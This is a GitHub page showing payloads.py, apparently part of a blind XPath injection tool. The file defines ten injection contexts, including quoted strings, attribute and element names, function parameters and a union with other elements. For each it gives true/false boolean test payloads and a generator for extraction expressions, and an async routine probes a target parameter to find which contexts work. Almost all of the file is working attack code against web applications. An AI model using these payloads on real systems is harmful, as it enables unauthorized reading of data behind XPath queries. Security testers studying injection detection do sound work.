-
Notifications
You must be signed in to change notification settings - Fork 0
/
payloads.py
111 lines (96 loc) · 4 KB
/
payloads.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import asyncio
from collections import namedtuple
from typing import List
from xpath import E
from requester import Requester
Injection = namedtuple('Injection', 'name example test_payloads payload_generator')
def makeformat(str):
return lambda working, expression: str.format(working=working, expression=expression)
injectors = [
Injection('integer',
"/lib/book[id=?]",
(
('{working} and 1=1', True),
('{working} and 1=2', False)
),
makeformat("{working} and {expression}")),
Injection('string - single quote',
"/lib/book[name='?']",
(
("{working}' and '1'='1", True),
("{working}' and '1'='2", False),
),
makeformat("{working}' and {expression} and '1'='1")),
Injection('string - double quote',
'/lib/book[name="?"]',
(
('{working}" and "1"="1', True),
('{working}" and "1"="2', False),
),
makeformat('{working}" and {expression} and "1"="1')),
Injection('attribute name - prefix',
"/lib/book[?=value]",
(
("1=1 and {working}", True),
("1=2 and {working}", False)
),
lambda working, expression: expression & E(working)),
Injection('attribute name - postfix',
"/lib/book[?=value]",
(
("{working} and not 1=2 and {working}", True),
("{working} and 1=2 and {working}", False)
),
lambda working, expression: working & expression & E(working)),
Injection('element name - prefix',
"/lib/something?/",
(
(".[true()]/{working}", True),
(".[false()]/{working}", False)
),
lambda working, expression: E('.')[expression].add_path('/' + working)),
Injection('element name - postfix',
"/lib/?something",
(
("{working}[true()]", True),
("{working}[false()]", False)
),
lambda working, expression: E(working)[expression]),
Injection('function call - last string parameter - single quote',
"/lib/something[function(?)]",
(
("{working}') and true() and string('1'='1", True),
("{working}') and false() and string('1'='1", False),
),
makeformat("{working}') and {expression} and string('1'='1")),
Injection('function call - last string parameter - double quote',
"/lib/something[function(?)]",
(
('{working}") and true() and string("1"="1', True),
('{working}") and false() and string("1"="1', False),
),
makeformat('{working}") and {expression} and string("1"="1')),
Injection('other elements - last string parameter - double quote',
"/lib/something[function(?) and false()] | //*[?]",
(
('{working}") and false()] | //*[true() and string("1"="1', True),
('{working}") and false()] | //*[false() and string("1"="1', False),
),
makeformat('{working}") and false()] | //*[{expression} and string("1"="1'))
]
async def detect_payload(requester: Requester) -> List[Injection]:
working = requester.target_parameter_value
returner = []
for injector in injectors:
result_futures = [
requester.check(test_payload.format(working=working))
for (test_payload, expected) in injector.test_payloads
]
results = await asyncio.gather(*result_futures)
for idx, (test_payload, expected) in enumerate(injector.test_payloads):
if results[idx] == expected:
continue
break
else:
returner.append(injector)
return returner